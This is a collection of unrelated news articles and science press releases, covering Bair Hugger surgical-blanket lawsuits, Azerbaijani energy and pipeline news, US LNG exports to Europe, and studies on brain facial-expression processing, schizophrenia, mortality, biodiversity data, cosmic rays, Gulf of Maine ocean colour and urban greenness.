Patients who are allegedly most at risk are those undergoing knee and hip replacements. Robert almost lost his leg due to infection, and his infectious disease doctor said that something had to attach itself to the prosthesis or area during surgery. It could have been worse. One knee replacement patient who recently filed a Bair Hugger lawsuit alleges he had his leg amputated after it became infected with Methicillin-resistant Staphylococcus aureus. An artificial hip patient underwent 15 additional surgeries after contracting a surgical site infection.As of November 2015, more than 50 orthopedic patients claimed that the Bair Hugger caused severe, deep-joint infection. Attorneys expect that number will rise exponentially as patients learn about the alleged risk of the warming blanket used during surgery causing contamination. Two Bair Hugger cases have been pending since 2013 and 2014, but most lawsuits have been filed in the past six months.Multidistrict legislation, which was established last year in the US District Court, District of Minnesota for federally filed Bair Hugger lawsuits, is moving forward. As of February, about 70 lawsuits are involved in the MDL. A motion filed by Meshbesher & Spence last August to coordinate the Bair Hugger litigation into an MDL said that scientific literature in reputable places has found that the Bair Hugger device resulted in a disproportionate rate of deep joint infection, according toWhile a slight risk of infection might be expected, a substantial increase in the rate of infection because of the use of this device is not something any of these patients would have consented to or agreed to if they knew there was an alternative.In a court filing before the MDL panel, 3M lawyer Lori Cohen responded:A 3M spokeswoman contended that 3Ms warming products have been used over 25 years by more than 200 million patients without a single confirmed incident of infection caused by the Bair Hugger system. Robert and hundreds of knee and hip replacement patients disagree...
Baku, Azerbaijan, Apr.22

By Anvar Mammadov - Trend:

Azerbaijan's State Agency for Alternative and Renewable Energy Sources will sign an agreement with the US Agency for International Development (USAID).

The announcement was made by Akim Badalov, head of the State Agency for Alternative and Renewable Energy Sources during the conference on 'Energy, Renewables and Sustainability' in Baku Apr.22.

He noted that currently, negotiations are underway and the agreement will be signed soon.

"The US played a great role in developing Azerbaijan's oil sector," said Badalov. "I believe that the US experience will help us in the alternative energy sphere as well."

"It is a new sphere and we would like to receive support from the US in the process of setting prices, creating management systems and in general, ensuring transparency and development in this sphere," he added.

The total potential of Azerbaijan's alternative and renewable energy sources exceeds 12,000 megawatts. The major part of this volume - 5,000 megawatts - accounts for solar energy.

Edited by SI

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Follow the author on Twitter: @Anvar_Mammadov


Baku, Azerbaijan, Apr. 22

By Anvar Mammadov - Trend:

The US is ready to support Azerbaijan in the development of alternative energy, Tom Weirich, senior vice president of the American Council on Renewable Energy (ACORE), told reporters Apr. 22 in Baku.

The long-term cooperation in this field will be beneficial for both the US and Azerbaijan, said Weirich.

Weirich, who participated in the conference titled "Energy, renewable sources and stability", noted the importance of such meetings for the exchange of experience in the sphere of alternative and renewable energy.

"Such meetings allow not only discussing the problems and prospects of this sphere's development, but also exchanging experience, making some revolutionary solutions in the field of alternative energy together with our colleagues, including in Azerbaijan," said Weirich.

He added that this sphere's development will allow opening many new jobs for the next generation of the Azerbaijani engineers, as well as plenty of opportunities in other directions.

Currently, the capacity of Azerbaijan's energy system is 7,200 megawatts.

The total potential of Azerbaijan's alternative and renewable energy sources exceeds 12,000 megawatts.

The major part of the country's capacity in this field accounts for the solar energy and this potential is estimated at 5,000 megawatts.

About 4,500 megawatts account for wind energy, 1,500 megawatts - for biomass, 800 megawatts - for geothermal energy, while the remaining 350 megawatts - for the potential of small hydro power plants (HPP).

Edited by SI

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Follow the author on Twitter: @Anvar_Mammadov
Baku, Azerbaijan, Apr.22

By Azad Hasanli - Trend:

Baku and Ankara will discuss the cooperation in the sphere of agriculture during the visit of Azerbaijan's Minister of Agriculture Heydar Asadov to Antalya, said the message from Azerbaijan's ministry Apr.22.

During the visit, Asadov will take part in the EXPO 2016 Antalya International Horticultural Exposition.

"Heydar Asadov will pay a visit to Antalya on Apr.22 at the invitation of Turkey's Minister of Food, Agriculture and Livestock Faruk Celik," said the message.

During the visit, he will also hold meetings with agriculture ministers of other countries and discuss the prospects for cooperation, as well as the potential of Turkey's agricultural sector, according to the ministry.

Azerbaijan's pavilion will cover an area of 2,000 square meters at the exhibition.

Edited by SI
Details added (first version posted on 10:50)

Baku, Azerbaijan, Apr.22

By Anvar Mammadov - Trend:

Azerbaijan's State Agency for Alternative and Renewable Energy Sources will sign an agreement with the US Agency for International Development (USAID).

The announcement was made by Akim Badalov, head of the State Agency for Alternative and Renewable Energy Sources during the conference on 'Energy, Renewables and Sustainability' in Baku Apr.22.

He noted that currently, negotiations are underway and the agreement will be signed soon.

"The US played a great role in developing Azerbaijan's oil sector," said Badalov. "I believe that the US experience will help us in the alternative energy sphere as well."

"It is a new sphere and we would like to receive support from the US in the process of setting prices, creating management systems and in general, ensuring transparency and development in this sphere," he added.

The total potential of Azerbaijan's alternative and renewable energy sources exceeds 12,000 megawatts. The major part of this volume - 5,000 megawatts - accounts for solar energy.

Edited by SI

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Follow the author on Twitter: @Anvar_Mammadov
Baku, Azerbaijan, Apr.22

By Rufiz Hafizoglu - Trend:

The Trans-Anatolian Natural Gas Pipeline (TANAP) will play an important role in ensuring Europe's energy security, the Pusulahaber newspaper quoted Bud Fackrell, BP's representative in Turkey as saying Apr.22.

The BP representative believes that TANAP will turn Turkey into the region's energy hub.

Further, Fackrell emphasized the significance and the strategic importance of Azerbaijan's Southern Gas Corridor project which includes the TANAP project as well.

TANAP project envisages transportation of gas of Azerbaijan's Shah Deniz field from Georgian-Turkish border to the western borders of Turkey. Turkey will get gas in 2018 and after completing the construction of Trans-Adriatic Pipeline (TAP), it will be delivered to Europe in early 2020.

Currently, the shareholders of TANAP are: the State Oil Company of Azerbaijan (SOCAR) - 58 percent, Botas - 30 percent and BP - 12 percent.

The Southern Gas Corridor is one of the priority energy projects for EU. It envisages the transportation of gas from the Caspian Sea region to the European countries through Georgia and Turkey.

At the initial stage, the gas to be produced as part of the Stage 2 of development of Azerbaijan's Shah Deniz field is considered as the main source for the Southern Gas Corridor projects. Other sources can also connect to this project at a later stage.

As part of the Stage 2 of the Shah Deniz development, the gas will be exported to Turkey and European markets by expanding the South Caucasus Pipeline and the construction of Trans-Anatolian Natural Gas Pipeline and Trans-Adriatic Pipeline.

Edited by SI

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Follow the author on Twitter: @rhafizoglu
A survey from CBRE reveals that a record number of 185 commercial brands has expanded into five countries of Central and Eastern Europe (CEE) from 2014 to 2015, with a total of 550 new shops and stores being opened. The report 'How Active is the CEE Retail Market" published by

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Many say success is a journey, not a destination, but according to JLLs latest report  the destination is everything. JLLs Destination Retail report, which looks at the top cities worldwide for retailing, shows 50 major global cities have risen to the top of the list for mainstream, premium and

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According to analysis by JLL, the Big 7 Polish office markets - Warsaw, Krakow, Wrocaw, Tri-City, Katowice, Poznan and odz - are developing dynamically and remain on the radar of both capital investors operating on the real estate market and companies, i.a., from the business services sector.

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Hammerson plc syndicated and signed a 533 million (420 million) unsecured Revolving Credit Facility (RCF) at an initial margin of 90 basis points with a syndicate of eight international banks. This new facility will refinance the existing 190 million (150 million) RCF which would have matured in April 2017 which

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Researchers at The Ohio State University have pinpointed the area of the brain responsible for recognizing human facial expressions.

It's on the right side of the brain behind the ear, in a region called the posterior superior temporal sulcus (pSTS).

In a paper published today in the Journal of Neuroscience, the researchers report that they used functional magnetic resonance imaging (fMRI) to identify a region of pSTS as the part of the brain activated when test subjects looked at images of people making different facial expressions.

Further, the researchers have discovered that neural patterns within the pSTS are specialized for recognizing movement in specific parts of the face. One pattern is tuned to detect a furrowed brow, another is tuned to detect the upturn of lips into a smile, and so on.

"That suggests that our brains decode facial expressions by adding up sets of key muscle movements in the face of the person we are looking at," said Aleix Martinez, a cognitive scientist and professor of electrical and computer engineering at Ohio State.

Martinez said that he and his team were able to create a machine learning algorithm that uses this brain activity to identify what facial expression a person is looking at based solely on the fMRI signal.

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"Humans use a very large number of facial expressions to convey emotion, other non-verbal communication signals and language," Martinez said.

"Yet, when we see someone make a face, we recognize it instantly, seemingly without conscious awareness. In computational terms, a facial expression can encode information, and we've long wondered how the brain is able to decode this information so efficiently.

"Now we know that there is a small part of the brain devoted to this task."

Using this fMRI data, the researchers developed a machine learning algorithm that has about a 60 percent success rate in decoding human facial expressions, regardless of the facial expression and regardless of the person viewing it.

"That's a very powerful development, because it suggests that the coding of facial expressions is very similar in your brain and my brain and most everyone else's brain," Martinez said.

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The study doesn't say anything about people who exhibit atypical neural functioning, but it could give researchers new insights, said study co-author Julie Golomb, assistant professor of psychology and director of the Vision and Cognitive Neuroscience Lab at Ohio State.

"This work could have a variety of applications, helping us not only understand how the brain processes facial expressions, but ultimately how this process may differ in people with autism, for example," she said.

Doctoral student Ramprakash Srinivasan, Golomb and Martinez placed 10 college students into an fMRI machine and showed them more than 1,000 photographs of people making facial expressions. The expressions corresponded to seven different emotional categories: disgusted, happily surprised, happily disgusted, angrily surprised, fearfully surprised, sadly fearful and fearfully disgusted.

While some of the expressions were positive and others negative, they all had some commonalities among them. For instance, "happily surprised," "angrily surprised" and "fearfully surprised" all include raised eyebrows, though other parts of the face differ when we express these three emotions.

fMRI detects increased blood flow in the brain, so the research group was able to obtain images of the part of the brain that was activated when the students recognized different expressions. Regardless of the expression they were looking at, all the students showed increased activity in the same region -- the pSTS.

Then the research group used a computer to cross-reference the fMRI images with the different facial muscle movements shown in the test photographs. They were able to create a map of regions within the pSTS that activated for different facial muscle groups, such as the muscles of the eyebrows or lips.

First, they constructed maps using the fMRIs of 9 of the participants. Then, they fed the algorithm the fMRI images from the 10th student, and asked it to identify the expressions that student was looking at. Then they repeated the experiment, creating the map from scratch with data from nine of the students, but using a different student as the 10th subject.

About 60 percent of the time, the algorithm was able to accurately identify the facial expression that the 10th person was looking at, based solely on that person's fMRI image.

Martinez called the results "very positive," and said that they indicate that the algorithm is making strides toward an understanding of what happens in that region of the brain.

The researchers will continue the work, which was funded by the National Institutes of Health and the Alfred P. Sloan Foundation.
By turning skin cells into brain neurons, researchers at the Icahn School of Medicine at Mount Sinai have identified that certain tiny molecules aiding in gene expression, known as microRNAs (miRNAs), are under-expressed in the brains of the 14 schizophrenia patients they studied. Their findings, published online in the journal Cell Reports, show that one of these molecules, a miRNA known as miR-9, is a risk factor that controls the activity of hundreds of genes.

The researchers, led by Kristen Brennand, PhD, Assistant Professor of Psychiatry at the Icahn School of Medicine at Mount Sinai and Gang Fang, PhD, Assistant Professor in the Department of Genetics and Genomic Sciences, Icahn School of Medicine, found that miR-9 was significantly under-expressed in cells from four schizophrenic patients, compared to six control participants. The findings were replicated in a larger sample, from the National Institutes of Health, of ten childhood-onset schizophrenic patients and ten controls.

"Schizophrenia is a very complex disorder that is believed to be strongly genetically influenced -- there are probably more than 1,000 genes contributing to its development, some or many of which will affect individual patients," says Kristen Brennand, PhD, Assistant Professor of Psychiatry, Icahn School of Medicine at Mount Sinai, and one of the study's lead authors. "The better we are able to fill in the pieces to this very difficult puzzle, the more we can think about treatment, and, better yet, prevention."

The genes controlled by miR-9 appear to play a role in the fetal development of neurons, and in where these neurons eventually settle in the brain. If these genes are not as active as they should be, the brain will likely be miswired, the authors suggest. miR-9 is only the second such powerful miRNA linked to the devastating psychiatric disorder, but researchers believe others may be involved.

Dr. Brennand also says that based on their findings, as well as those of other researchers in the field, many genes recently found to be linked to schizophrenia tend to be genes that are expressed during fetal development--even though schizophrenia usually becomes symptomatic in adulthood. "The idea that children are born with schizophrenia should take the pressure off of parents," she says. "This is a heritable disease that runs in families, and it's no one's fault that someone was born with this genetic risk."

Because the slow progress in decoding schizophrenia comes from the lack of live brain tissue to study, the research team combined expertise in stem cell biology, neurobiology, genomics, and systems biology to pioneer a new approach. They obtained skin samples from patients, reprogrammed them into induced pluripotent stem cells, and then differentiated these cells into precise subtypes of human neurons.

"This has allowed us to begin to ask how and why neurons derived from schizophrenia patients differ from those derived from people who are unaffected by the disorder," Dr. Brennand says. "The goal of our research is to not just understand the genetic mechanisms contributing to schizophrenia, but ultimately to develop a screening platform that we can use to identify new therapeutics for the treatment of this debilitating disorder."

The team faced some challenges at the beginning of the project. "miR-9 was not the only miRNA that is differentially expressed in cells from schizophrenia patients compared to control participants," said Gang Fang PhD, an Assistant Professor in the Department of Genetics and Genomic Sciences and the other lead author of the study. "In fact, tens of miRNAs reached statistical significance and we wanted to identify a smaller number of key players.

We took a systems biology approach, where we integrated miRNA expression, gene expression, global gene regulatory networks, and proteomic data."

"This approach found evidence suggesting miR-9 has the most significant change of regulatory activity in addition to the expression change of itself," added Dr. Fang. "We hope this general approach will also help the discovery of additional genetic regulators of schizophrenia and other diseases."

D. Brennand and Dr. Fang highlight that their team's findings validate results of an earlier study published March 9 in JAMA Psychiatry, in which a genetic screen, taken from the blood of 35,000 schizophrenia patients, found either low expression or mutations in the hundreds of genes that miR-9 controls.
Wealthier individuals have a lower mortality rate than poorer people. The common assumption that this effect has intensified in recent years is rebutted by a current study from the University of Zurich. Instead of examining life expectancy at birth, the study looks at the mortality rates by age group in different counties in the USA. The study finds that the mortality rates of disadvantaged children and young adults are falling and are approaching the mortality rates in wealthy areas, while the differences among older people continue to be pronounced.

Life expectancy and mortality are distributed unequally across social classes. That is the conclusion of many studies which point to the increasing differences in the life expectancy of persons in wealthy regions in the USA as opposed to those in poor regions. According to the researchers, income inequality is leading to inequality in health and life expectancy. But a more discerning look at the mortality rates shows quite positive trends. For example, between 1990 and 2010, the differences in the survival chances of children and young adults from different regions in the USA decreased. Today, disadvantaged children have much better survival chances, as Hannes Schwandt from the Department of Economics at the University of Zurich together with Janet Currie from Princeton University demonstrate in the current edition of Science.

Falling infant mortality rates -- especially in poor regions

Between 1990 and 2010, the infant mortality rate decreased in all US regions, with the most pronounced improvement taking place in the poorest counties. In 1990, out of every 1,000 newborn males in the poorest regions of the USA, 18.3 died before reaching their third birthday. This figure fell to 9.8 by 2010, a reduction of 8.5. In the wealthier regions, the figure dropped by 4.3 over the same period (from 9.8 to 5.5). According to the authors of the study, this decrease in inequality between rich and poor regions in terms of the mortality rate can be observed up to the age of around 40. For middle-aged people, the mortality rate in poor and rich regions drops approximately by the same degree, with the inequality in mortality increasing again for older people. "The youngest persons in the poorest regions are visibly benefiting most and fastest from welfare improvements, while older people have a health history that is influenced by the past," explains Hannes Schwandt. He assumes that the inequality in mortality among older people will also decrease in the future in line with improved living conditions.

The mortality rate per age group is relevant

In general, earlier studies on mortality rates were based either on the influence of income or education on survival probabilities in middle or old age or on changes in life expectancy at birth. Those studies either focus on just one section of the population or are based on the cumulative effects of the past, and are valid only for as long as the influencing factors remain constant. "Life

expectancy as a figure is not a good predictor for the number of years that a member of a certain group will live. It makes more sense to analyze the development of the individual age-specific mortality rates." That's how Hannes Schwandt explains the significance of the approach taken for the study.
To prevent a new mass extinction of the world's animal and plant life, we need to understand the threats to biodiversity, where they occur and how quickly change is happening. For this to happen, we need reliable and accessible data. A new study published in Science today reveals those data are largely missing. We are lacking key information on important threats to biodiversity such as invasive species, logging, bush meat harvesting, and illegal wildlife trade.

Over the past two years a consortium of 18 organizations, including UNEP-WCMC, the International Union for Conservation of Nature, the Luc Hoffmann Institute, a research hub at WWF International, and BirdLife International, compiled available global data on biodiversity threats. They reviewed almost 300 data sets and marked them on five attributes required for conservation assessments. Datasets should be freely available, up to date, repeated, at appropriate spatial resolution, and validated for accuracy. Only 5% of the datasets satisfied all attributes.

"We were surprised that so few datasets met all of the five attributes we believe are required for 'gold standard' of data," says Lucas Joppa who leads environmental research at Microsoft and was lead author on the study. "We live in the age of Big Data, but are effectively flying blind when it comes to understanding what is threatening biodiversity around the world."

"This analysis can help pioneer a new approach to mapping and measuring the threats facing endangered species and ecosystems," says Jon Hutton, Director of the Luc Hoffmann Institute. "This is critical if we are to understand why some populations of, for example, tigers or elephants are doing better than others."

In some cases, the data needed for effective conservation policy already exists but are not accessible due to associated costs, commercial considerations or intellectual property arrangements. "Agreements between conservation organizations and private companies can help address this," says Brian O'Connor, Programme Officer for UNEP-WCMC's Science Programme. "For example, an agreement between UNEP-WCMC and IHS Company provides detailed and comprehensive data on oil and gas activity worldwide for use in biodiversity assessments."

Governments are another valuable future source of information. "Open Government Initiatives such as those in the UK and US have made more than 200,000 datasets freely available, including several that are relevant to environmental conservation," says Piero Visconti, Postdoctoral Scientist at UNEP-WCMC. "We encourage more initiatives of this kind."

This work has already started to have an impact on conservation. "We are working with TRAFFIC and UNEP to analyse legal and illegal wildlife trade to address one of the critical knowledge gaps we identified in this study," concludes Neil Burgess, Head of Science at UNEP-WCMC.

The authors of the study stress that filling these data gaps need not start from scratch. Several existing datasets, such as those dealing with invasive species on islands around the world, can be scaled up if appropriately resourced.
Baku, Azerbaijan, Apr. 22

By Vagif Sharifov - Trend:

Pricing policy of only one man, John D. Rockefeller, led to a decrease in the cost of kerosene in the US oil products' market of the late 19th century from 26 cents to eight cents per gallon during 15 years, while the market share of the Standard Oil Company led by him increased from 4 percent to 80 percent.

Rockefeller was able to achieve such business growth largely due to discounts on kerosene transportation he obtained from the railroad workers, as well as the scale effect policy, when the price of a product decreases, the margin decreases, and the number of end consumers grows.

A flexible supplier, who was the first to deliver cheap kerosene in every house, and the end consumer, who started to pay less for the product, are the ones who win in this situation. Rivals, who didn't catch up with the flexible supplier, lose.

History repeats itself

Recent news from the natural gas market make it clear that the US prepares to start new scale effect policy, however, this time in the world, and not with kerosene, but with liquefied natural gas, which has been in excess there recently. It seems that Rockefeller's distant neighbors from the US state of Louisiana got their teeth into gas prices for consumers in Europe.

In late April, for the first time, the US will deliver nearly 100,000 tons of liquefied natural gas (LNG) on a tanker to Portugal. It's clear that the batch, which makes nearly 140 million cubic meters of natural gas, serves only, so to speak, to test the route to Europe, but it's obvious that this is already the beginning of a new era in the European economy of oil and gas, energy security and diversification of energy supply sources so beloved to Europe.

Europeans are not against such developments, since it will positively affect them. The competition between the business giants, between countries only benefits Europe which always supports an open gas market.

The high gas prices for an ordinary resident of the Old World are made up of several components, including the price for the natural gas, the cost of its distribution and storage, the tax for energy and the value-added tax.

The gas price in Europe

Averagely, the highest gas prices for consumers are recorded in Sweden, Portugal and Denmark, while the lowest prices are in Romania, Hungary and Lithuania.

The gas prices for consumers are high because Europe imports around 60 percent of the consumed fuel. This is while the wide range of prices is a result of the geographical features, location, the existence of gas transportation infrastructure and gas storage facilities and the tax legislation. For example, the gas price in Sweden is three times higher than in Romania.

In Sweden, the smallest share in the gas price breakdown accounts for the taxes, while the largest share accounts for its distribution and storage.

On the contrary, in Lisbon, the gas distribution and storage accounts for a larger share in the final price than the gas price.

This is while in London, the gas price accounts for more than half of the final price.

On average, the cost of the gas distribution and storage reaches the gas price in the final price of the fuel for consumers.

What the US can change?

In the future, the US liquefied natural gas can reduce gas prices in Europe due to a price war with the current largest suppliers - Russia, Norway and Algeria. The experts working in the Caspian gas market believe that Americans will start with $150-160 per 1,000 cubic meters in order to immediately show their price advantage in Europe before the Russian Gazprom, which they see as their main competitor, because this company covers a third of the gas demand in Europe. It will force Gazprom to think seriously about reducing the prices, for example, to $100-120 per 1,000 cubic meters versus the current $200 on average in Europe. Algeria and Norway will be automatically forced to join the general decline in prices. The issue of gas consumption growth in Europe will especially be acute since 2017, when it is planned to give up using the old coal plants in the European Union due to environmental considerations. The power plants will be switched to the gas mode. Moreover, Germany fully intends to abandon the operation of nuclear power plants in less than five years for security reasons that will cause an additional demand for gas in this country due to the lack of the alternative energy's development at the appropriate level.

A plenty of gas

If at first, the efficiency of the gas exports proves to be not very high for the US, then the Americans will still continue working in this direction. The reason is that the excess of shale gas in the US, warm winter this year force businesses to look for new sales markets.

The US plans to become a net gas exporter in the next two years. Europe is perfect for such a plan. While considering the statistics of the Energy Information Administration (EIA) of the US Department of Energy, it becomes clear that of course, the shale gas companies in the US are concerned about the low world energy prices.

But this will not force these companies to close the wells and stop the gas production. According to the estimation, closing of the gas wells would cause more damage to the business than their continued use in the current economic conditions.

Cheniere Energy has become a supplier of the US first LNG to Europe. It seems that neither a threat of stiff competition nor low world hydrocarbon prices without the optimistic prospects for an increase stops Cheniere management's active preparation for export in the world.

For example, the company's website says that Cheniere is building additional infrastructure for the export of approximately 31.5 million tons of LNG per year, which is more than 44 billion cubic meters (bcm) of natural gas per year.

If we take into account that Europe consumed almost 430 bcm of gas in 2015, 60 percent of which has been imported, only Cheniere will theoretically be able to ensure 15-20 percent of European imports. And this is only Cheniere's additional infrastructure, excluding the current one, from which the tanker was shipped to Europe.

Vagif Sharifov is an analyst and expert in oil and gas markets.

Follow him on Twitter: @VagifSharifov
Most of the cosmic rays arriving at Earth from our galaxy come from nearby clusters of massive stars, according to new observations from the Cosmic Ray Isotope Spectrometer (CRIS), an instrument aboard NASA's Advanced Composition Explorer (ACE) spacecraft.

The distance between the galactic cosmic rays' point of origin and Earth is limited by the survival of a very rare type of cosmic ray that acts like a tiny clock. The cosmic ray is a radioactive isotope of iron, 60Fe, which has a half life of 2.6 million years. In that time, half of these iron nuclei decay into other elements.

In the 17 years CRIS has been in space, it detected about 300,000 galactic cosmic-ray nuclei of ordinary iron, but just 15 of the radioactive 60Fe .

"Our detection of radioactive cosmic-ray iron nuclei is a smoking gun indicating that there has been a supernova in the last few million years in our neighborhood of the galaxy," said Robert Binns, research professor of physics in Arts & Sciences at Washington University in St. Louis, and lead author on the paper published online in Science on April 21, 2016.

"The new data also show the source of galactic cosmic rays is nearby clusters of massive stars where supernova explosions occur every few million years," said Martin Israel, professor of physics at Washington University and a co-author on the paper.

The radioactive iron is believed to be produced in core-collapse supernovae, violent explosions that mark the death of massive stars, which occur primarily in clusters of massive stars called OB associations.

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There are more than 20 such associations close enough to Earth to be the source of the cosmic rays, including subgroups of the nearby Scorpius and Centaurus constellations, such as Upper Scorpius (83 stars), Upper Centaurus Lupus (134 stars) and Lower Centaurus Crux (97 stars). Because of their size and proximity, these are the likely sources of the radioactive iron nuclei CRIS detected, the scientists said.

An incriminating timeline

The 60Fe results add to a growing body of evidence that galactic cosmic rays are created and accelerated in OB associations.

Earlier CRIS measurements of nickel and cobalt isotopes show there must be a delay of at least 100,000 years between creation and acceleration of galactic cosmic-ray nuclei, Binns said.

This time lag also means that the nuclei synthesized in a supernova are not accelerated by that supernova but by the shock wave from a second nearby supernova, Israel said, one that occurs quickly enough that a substantial fraction of the 60Fe from the first supernova has not yet decayed.

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Together, these time constraints mean the second supernova must occur between 100,000 and a few million years after the first supernova. Clusters of massive stars are one of the few places in the universe where supernovae occur often enough and close enough together to bring this off.

"So our observation of 60Fe lends support to the emerging model of cosmic-ray origin in OB associations," Israel said.

Corroborating evidence?

Although the supernovae in a nearby OB association that created the 60Fe CRIS observed happened long before people were around to observe suddenly brightening stars (novae), they also may have left traces in Earth's oceans and on the Moon.

In 1999, astrophysicists proposed that a supernova explosion in Scorpius might explain the presence of excessive radioactive iron in 2.2 million-year-old ocean crust. Two research papers recently published in Nature bolster this case. One research group examined 60Fe deposition worldwide and argued that there might have been a series of supernova explosions, not just one. The other simulated by computer the evolution of Scorpius-Centaurus association in an attempt to nail down the sources of the 60Fe.

Lunar samples also show elevated levels of 60Fe consistent with supernova debris arriving at the Moon about 2 million years ago. And here, too, there is recent corroboration. A paper just published in Physical Review Letters describes an analysis of nine core samples brought back by the Apollo crews.

In fact you could say there has been a virtual supernova of 60Fe research.
Dr. William "Barney" Balch's team at Bigelow Laboratory for Ocean Sciences has been sampling the waters of the Gulf of Maine regularly over the same transect for the last 18 years as part of a NASA-funded study. Working with scientists from the U.S. Geological Survey, Dr. Thomas Huntington and Dr. George Aiken, Balch reported in a recent paper an overall reduction in productivity in the Gulf of Maine.

The researchers found that the amount of dissolved organic carbon from rivers emptying into the Gulf of Maine has increased over the last 80 years, a trend they predict will continue through 2100 if annual precipitation continues to increase. The adjacent Gulf of St. Lawrence also was found to supply a significant amount of organic material into the Gulf of Maine via the Scotia Shelf Current. Collectively, these conditions appear to be contributing to the decline in the Gulf's primary productivity, as reported in the American Geophysical Union's journal, Global Biogeochemical Cycles, Volume 30, Issue 2, February 2016, pages 268-292.

Balch explained the significance of this finding: "As increasing amounts of dissolved organic matter leaches from the soil into rivers after rains, these materials ultimately flow directly into the Gulf of Maine or indirectly from the Gulf of St. Lawrence via the Scotian Shelf Current. This organic matter is rich in colored humic materials that impart a brown color to the rivers in Maine--think of a dark "tea" steeped from dead leaves and soil. This input actually changes the color of the seawater and appears to be reducing the light available to phytoplankton for photosynthesis and growth, causing a decline in overall productivity."

"Ocean color serves as a useful proxy for understanding some of the changes in fundamental processes that are happening in the sea as the climate changes. Normally the ocean is blue with little light absorption. When there is a lot of chlorophyll-containing phytoplankton (microscopic plants) in the water, the water has a greenish color, just like plants do on land. However, the dissolved organic matter delivered to the Gulf of Maine by rivers, has a yellowish-brown "tea" color which gives the normally blue ocean a yellow tint. This organic matter also absorbs light necessary for photosynthetic organisms, and can thereby influence the ecology of the Gulf of Maine. Our data suggest that increases in precipitation and runoff during the last 80 years result in more of this organic, dark-colored "tea" being delivered to the Gulf of Maine which could be affecting how marine plants are able to photosynthesize and grow." added Aiken.

Because ocean color is one of the best indicators of what is happening in ocean waters, Balch and his team compared their color measurements of the Gulf of Maine with 1912-1913 color data recorded by Henry Bryant Bigelow, considered the founder of modern oceanography and for whom Bigelow Laboratory was named. In 1912, Henry Bigelow had the foresight to make manual ocean color measurements as he plied the Gulf of Maine aboard his schooner, Grampus. Bigelow used a simple technique published in 1890 by Francois-Alphonse Forel, a Swiss lake scientist. Balch's team compared Bigelow's original color data with current water color measurements to document color change over a century time scale. The conclusion is that the Gulf has yellowed over the last century, particularly in coastal Maine waters.

Climate and hydrologic models predict increasing precipitation and runoff in the Gulf of Maine watershed in the 21st century. Based on these projections, Balch, Huntington, and Aiken predict that river discharge of soil-derived dissolved organic carbon into the Gulf of Maine could increase close to 30% over the next 80 years, potentially contributing to a continued decline in the productivity of this coastal marine food web.

Today scientists use NASA's Earth-observing satellites and sophisticated shipboard optical measurements to document ocean color. The Bigelow Laboratory-USGS research team also showed a direct link for the first time between satellite-derived measurements of dissolved organic carbon across the Gulf of Maine with dissolved organic carbon discharged in rivers as estimated by the USGS, which go far to validate the satellite-derived measurements as an important predictive tool. With this solid foundation of data and collaboration, the research team expects to continue to mine the data to advance understanding of ongoing changes in the Gulf of Maine.
A new study of a quarter-million Miami-Dade County Medicare beneficiaries showed that higher levels of neighborhood greenness, including trees, grass and other vegetation, were linked to a significant reduction in the rate of chronic illnesses, particularly in low-to-middle income neighborhoods. Led by researchers at the University of Miami Department of Public Health Sciences at the Miller School of Medicine, and the School of Architecture, the study showed that higher greenness was linked to significantly lower rates of diabetes, hypertension and high cholesterol, as well as fewer chronic health conditions.

The findings, published online April 6 by the American Journal of Preventive Medicine, are based on 2010 -- 2011 health data reported for approximately 250,000 Miami-Dade Medicare beneficiaries over age 65, and a measure of vegetative presence based on NASA satellite imagery. The study was the first of its kind to examine block-level greenness and its relationship to health outcomes in older adults, and the first to measure the impact of greenness on specific cardio-metabolic diseases.

"This study builds on our research group's earlier analyses showing block level impacts of mixed-use and supportive building features on adults and children," said lead study author Scott Brown, Ph.D., research assistant professor of public health sciences. Brown was a co-principal investigator on the study with Elizabeth Plater-Zyberk, M.Arch., a Malcolm Matheson Distinguished Professor in Architecture. Plater-Zyberk, who was responsible for the rewrite of the City of Miami's zoning code in 2010, said the study results "give impetus to public agencies and property owners to plant and maintain a verdant public landscape."

Study findings revealed that higher levels of greenness on the blocks where the study's Medicare recipients reside, is associated with a significantly lower chronic disease risk for the residents of high greenness blocks, including a 14 percent risk reduction for diabetes, a 13 percent reduction for hypertension and a 10 percent reduction for lipid disorders.

"Going from a low to a high level of greenness at the block level is associated with 49 fewer chronic health conditions per 1,000 residents, which is approximately equivalent to a reduction in the biomedical aging of the study population by three years," said Brown.

Jack Kardys, Director of the Miami-Dade County Department of Parks, Recreation and Open Spaces, participated in data interpretation along with Miami-Dade County Parks' Chief of Planning, Research, and Design Excellence, Maria Nardi. Kardys said the study findings "illuminate the vital role of parks and greens to health and well-being, and point to the critical need for a holistic approach in planning that draws on research."

The study findings suggest extensive potential for park, open space, and streetscape design in South Florida and the United States to consider health impacts in strategic planning. Funded by the U.S. Department of Housing and Urban Development (HUD) Office of Policy Development and Research and the Health Foundation of South Florida, the research adds to a growing body of evidence that exposure to higher levels of greenness is associated with better health outcomes, by reducing stress, air pollution, humidity and heat island impacts, and encouraging physical activity, social interaction and community cohesion.

From a design standpoint, study co-author Joanna Lombard, M.Arch., professor of architecture, noted that the goals of the County's Parks and Open Spaces Masterplan already call for residents to have access to greenspace from the minute they walk outside of their homes, through tree-lined streets, as well as greens, parks, and open spaces within a 5 to 10 minute walk of their home, all of which have been shown to be linked to better health outcomes. "There's so much suffering involved in the time, money and energy spent on disease burden in the U.S., which we realize that we can, to some extent, ameliorate through healthy community design," said Lombard. "We collectively need to be attentive to the health impacts of the built environment. The associated harms are evident, and most importantly going forward, the potential benefits are significant."

In examining the results by income level and by race, the research showed that the health benefits of greenness were proportionately stronger among all racial and ethnic groups in lower income neighborhoods. Brown said this aspect of the findings suggests that incorporating more green -- trees, parks and open spaces -- in low income neighborhoods could also address issues of health disparities, which have been recently highlighted in research journals and the national media.

Jose Szapocznik, Ph.D., professor and chair of public health sciences, and founder of the University of Miami Built Environment, Behavior, and Health Research Group, pointed out that augmenting greenness, particularly in warm climates, potentially contributes to the effectiveness of other aspects of walkability. "Providing a green feature," said Szapocznik, "has been associated with safety, increased time outdoors, physical activity, and social interaction, and may potentially reduce disease burdens at the population level and enhance residents' quality of life."
Cocaine use has increased substantially among African Americans in some of the most underserved areas of the United States. Interventions designed to increase connection to and support from non-drug using family and friends, with access to employment, the faith community, and education, are the best ways to reduce substance use among African Americans and other minorities in low-income, resource-poor communities, concludes a study led by a medical anthropologist at the University of California, Riverside.

The study, which analyzed substance-use life history interviews carried out from 2010 to 2012, focused on urban and rural locations within the Arkansas Mississippi Delta -- a region characterized by strained race relations, a stagnant economy, high unemployment, low incomes and high emigration, and where the population is predominantly African Americans living in poverty.

